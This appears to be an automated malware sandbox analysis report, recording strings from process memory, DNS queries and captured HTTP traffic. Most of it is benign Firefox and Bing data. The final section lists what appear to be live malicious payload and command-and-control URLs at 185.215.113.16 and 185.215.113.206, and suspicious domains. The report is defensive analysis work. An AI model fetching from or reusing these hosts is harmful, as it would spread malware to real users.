Source: firefox.exe, 00000030.00000002.2715755487.000001B475B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2656094447.000001B470355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000030.00000002.2656094447.000001B470355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)--panel-banner-item-info-icon-bgcolorcolor-mix(in srgb, currentColor 9%, transparent)://www.facebook.com/platform/impression.php://pubads.g.doubleclick.net/gampad/xml_vmap1https://ads.stickyadstv.com/firefox-etp://cdn.cmp.advertising.com/firefox-etp://ads.stickyadstv.com/auto-user-syncexecuteIDB/promise</transaction.onabort equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2684816649.000001B472626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000030.00000002.2684816649.000001B472626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: findUpdates() - found update for startup - adding clearkey CDM failedmedia.gmp-manager.cert.checkAttributesmedia.gmp-manager.cert.requireBuiltIn - the given reason to update is not supportedfindUpdates() - updateTask succeeded for sitepermsaddon-provider-registeredThis should only be called from XPCShell testsresource://gre/modules/AddonManager.sys.mjsonPrefEnabledChanged() - adding gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONuninstallPlugin() - unregistering gmp directory FileUtils_closeSafeFileOutputStream://static.criteo.net/js/ld/publishertag.js://connect.facebook.net//all.jsFileUtils_openSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1@mozilla.org/network/atomic-file-output-stream;1@mozilla.org/network/file-output-stream;1://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.js@mozilla.org/addons/addon-manager-startup;1://.imgur.io/js/vendor..bundle.js://track.adform.net/serving/scripts/trackpoint/://www.rva311.com/static/js/main..chunk.js://cdn.branch.io/branch-latest.min.js@mozilla.org/network/safe-file-output-stream;1webcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/play.svgresource://gre/modules/addons/XPIProvider.jsmresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://devtools/server/devtools-server.js@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1@mozilla.org/dom/slow-script-debug;1WebChannel/this._originCheckCallbackFailed to execute WebChannel callback:@mozilla.org/network/protocol;1?name=defaultbrowser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Got invalid request to save JSON dataFailed to listen. Listener already attached.^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocket{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools/client/framework/devtoolsFailed to listen. Callback argument missing.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$No callback set for this channel.JSON Viewer's onSave failed in startPersistencedevtools/client/framework/devtools-browserDevToolsStartup.jsm:handleDebuggerFlagDevTools telemetry entry point failed: releaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.jsdevtools.performance.popup.feature-flaghttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/FileUtils.sys.mjsCan't invoke URIFixup in the content processScheme should be either http or httpsisDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol<resource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/ExtHandlerService.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URI_injectDefaultProtocolHandlersIfNeeded{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argument@mozilla.org/scriptableinputstream;1Must have a source and a callbackNon-zero amount of bytes must be specifiedhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/network/async-stream-copier;1https:
Source: firefox.exe, 00000030.00000002.2714304061.000001B4759FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B4759D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2714304061.000001B4759D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2709984710.000001B474769000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A4109008217X-BM-CBT: 1696494873X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 229C124F14F843F693B4EF574DFCAAABX-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109008217X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 516Connection: Keep-AliveCache-Control: no-cacheCookie: SRCHUID=V=2&GUID=7A0479E0E07C4D7D91A8C7552F34E6D4&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&LUT=1696493908190&IPMH=7bc3b11d&IPMID=1696494873321&HV=1696494765; MUID=4E6D5F19647E45969740B90CC0355D4C; _SS=SID=1F4D6C7F4B26664337657FDE4A3767CB&CPID=1696494874312&AC=1&CPH=893a1c21; _EDGE_S=SID=1F4D6C7F4B26664337657FDE4A3767CB

Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 00000030.00000002.2691144471.000001B473A6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.1969499068.00000000237B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: d7f88d1a57.exe, 0000001C.00000003.2638571328.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: d7f88d1a57.exe, 0000001C.00000002.2754421621.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeM
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exev
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2638571328.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000002.1945734539.0000000000F27000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1945261732.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206//
Source: file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
